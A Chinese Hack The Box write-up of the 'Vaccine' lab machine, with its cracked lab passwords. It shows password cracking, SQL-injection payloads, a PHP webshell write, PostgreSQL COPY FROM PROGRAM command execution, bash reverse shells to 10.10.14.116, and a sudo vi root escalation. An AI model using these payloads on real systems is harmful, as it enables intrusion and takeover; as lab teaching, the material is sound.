收集信息
连接hack the box服务器后第一步依然是扫描靶机。
nmap -sV -sS -F 10.10.10.46
-sV 代表扫描端口和开放的服务信息
-sS 代表用TCP半开式扫描
-F 快速扫描,扫描常用的端口
发现开放了80,21等端口。我们用上一个靶机获取到的账号和密码来连接一下这个ftp服务器,并查看一下有哪一些文件。
ftp 10.10.10.46 //然后更具提示输入账号和密码
ls
发现了一个backup.zip,把它下载下来并解压。
如果被防火墙拦截则可以开启被动模式,详细了解被动模式可参考:https://www.cnblogs.com/yjf512/p/13206048.html
get backup.zip //ftp下载文件
exit //退出ftp程序
unzip backup.zip //解压zip
发现解压需要密码。
获取密码
接下来我们来破解一下这个密码。
zip2john backup.zip>result
john result
john --show result
zip2john 是将在zip文件中提取密码密文,然后通过">"把这个密文写到文件result里面。
john 是将这个密文破解,但是破解后不会直接显示出来。
john --show result 这条命令是显示刚刚破解result的密码。
在图中我们可以看到这个zip的密码是 741852963
。
unzip backup.zip
vim index.php
解压后我们发现了两个文件,分别是: index.php
,style.css
,通过vim打开 index.php
来分析一下代码。竟然发现登陆密码直接写在这个网页中,而没有在数据库中。很明显这个密码是通过了一次md5加密得到的。
把这个密文放到http://cmd5.com
破解,很快,啪的一下的破解了,很明显是个弱口令。
获取shell
登陆后台,发现有一个搜索框。在这种有数据输入的地方要十分注意,很有可能是有漏洞的。输入一个单引号或双引号试一下,发现报错了,这说明该处有sql注入漏洞。
直接上sqlmap,但是发现sqlmap获取shell后网站变得奇慢无比,网站的打开速度也变慢了许多,和断了网似的,也不知道是什么原因,因此我们换一种方法。刚刚已经通过sqlmap得知这个网站采用的数据库是PostgreSQL version 11.5,该数据库有COPY命令可以利用,尝试写入一句话木马。
http://10.10.10.46/dashboard.php?search=1';COPY (select '<?php @eval($_GET[a]);?>') TO '/var/www/html/a.php';--
通过浏览器上显示的信息来看是权限不足,我们换一种方法。通过百度得知这有一个命令执行漏洞,类似于SQL server的xp_cmdshell,可以执行系统命令。为了建立反弹shell,首先在本地监听一个端口。
nc -lvnp 1234
-l 代表监听模式
-v 代表输出详细报告
-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数
-p 指定端口号
然后再在浏览器上url栏的 http://10.10.10.46/dashboard.php?search='
后面输入以下命令:
'; CREATE TABLE cmd_exec(cmd_output text); --
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i &> /dev/tcp/10.10.14.116/1234 0>&1"'; --
第一句是创建一个表cmd_exec,用来接收执行的命令。
第二句是执行一段系统命令来建立反弹shell。
下面我们来详细分析一下这段建立反弹shell的命令
bash -c "bash -i &> /dev/tcp/10.10.14.116/1234 0>&1"
bash -c 代表用bash来执行一段命令,参数c后面加上一段需要执行的命令
bash -i 代表建立一个交互式的shell
> 这个我们经常见到,例如我们常用 echo “hello world”>hello.txt,这个代表将将字符串写入一个文件
那么&>又代表什么呢?我们先来了解一下shell中的三个文件描述符(file descriptor)。
0 是一个文件描述符,表示标准输入(stdin),即在shell中我们输入的字符。
1 是一个文件描述符,表示标准输出(stdout),即在shell中系统输出的字符。
2是一个文件描述符,表示标准错误(stderr),即shell中报错输出的字符。
在>前面的&代表文件描述符1和2,也就是标准输出和标准错误信息,这里是把交互式bash中的标准输出信息和报错信息都写入/dev/tcp/10.10.14.116/1234文件中。
这里的/dev/tcp是一个设备文件,并不是一个真正的文本文件。它的作用是建立tcp连接,在这里是与10.10.14.116的1234端口建立连接。
0>&1 这代表bash中的标准输入信息写入文件管道1(stdout),这里的&的意思与前面的不同,这里&与1是一个整体,&1代表文件描述符1(stdout)。而前面已经通过命令
&>
将文件管道1(stdout)的数据写入了/dev/tcp,所以这里的文件管道0的数据也会跟随文件管道1写入/dev/tcp。这样就将bash -i中的全部数据传输到了本地监听程序中,也就建立一个shell。更详细的内容可以参考:
但是我们发现命令并没有执行成功。我们命令中的&变成了%,尝试转义符也没有成功。那我们不输入&,建立一个没有回显的反弹shell。注意在>前边有加一个0,需要穿点数据才能才能建立shell。
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.116/1234"'; --
选在反弹shell建立建立好了,但是没有回显,所以我们需要再建立一个有回显的反弹shell。首先新打开一个终端执行一下命令:
nc -lvnp 4443
然后在这个没有回显的shell中执行以下命令,看到监听终端中收到消息说明有回显的反弹shell建立成功。
bash -c "bash -i &> /dev/tcp/10.10.14.116/4443 0>&1"
来到网站目录/var/www/html
查看一下有什么文件,查看一下dashboard.php
,我们在这个文件里面发现了连接数据库的账号postgres
和密码P@5w0rd!
,经过测试这个正是当前该系统的用户名和密码。
首先把shell升级成交互式shell。
SHELL=/bin/bash script -q /dev/null //升级为交互式shell
SHELL是环境变量,它的值代表系统执行shell的文件位置。
script命令的原本作用是录制终端的会话过程,执行该命令后会运行一个新的shell,在此shell中执行命令的过程将会记录下来并保存在一个文件里面。这里执行script并不需要录制命令过程,我们需要的仅仅是它会运行一个新的shell。
-q 代表以静默方式运行一个新的shell,也就是说在后台运行一个新的shell。如果不加这个参数,则会弹出一个新的shell命令框。
/dev/null在这条命令中扮演的角色是保存script记录的文件,但是/dev/null一个特殊的设备文件,一切写入改文件的数据都会消失。我们不需要记录我们所执行的命令,所以将script所记录的内容指向该设备文件。
更详细内容可以参考:
https://www.xuexila.com/diannao/xitong/linux/3631993.html,linux的script命令
https://blog.csdn.net/longerzone/article/details/12948925,linux下的两个特殊文件——/dev/null 和 /dev/zero 简介及对比
提升权限
然后转到postgres账号,查看一下自己能以root权限运行哪些程序。
su postgres
sudo -l
我们发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。首先执行一下命令以root的权限打开vi。
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
然后按 :
进入命令模式,在命令模式下输入以下命令的其中一条即可:
!/bin/bash
!/bin/sh
shell
在vi/vim的命令模式下!加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。以
!/bin/bash
为例,这句命令表示以shell命令的方式执行/bin/bash
,也就是打开一个交互式终端。在vi/vim的命令中,shell表示打开一个终端。
现在提权成功,可以在 /root/root.txt
读取flage了。
参考文献
[1] https://www.linkedin.com/pulse/hack-box-starting-point-vaccine-nathan-barnes?trk=read_related_article-card_title,Hack the Box - Starting Point: Vaccine
[2] https://www.cnblogs.com/liuchaogege/p/6124669.html,shell 1>&2 2>&1 &>filename重定向的含义和区别
[3] https://zoresmile.cn/linux/2020/04/927.html,bash shell——bash -i >& /dev/tcp/192.168.174.128/9090 0>&1
[4] https://blog.csdn.net/Blood_Pupil/article/details/88795627,漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)
[5] https://www.cnblogs.com/yjf512/p/13206048.html,ftp的passive模式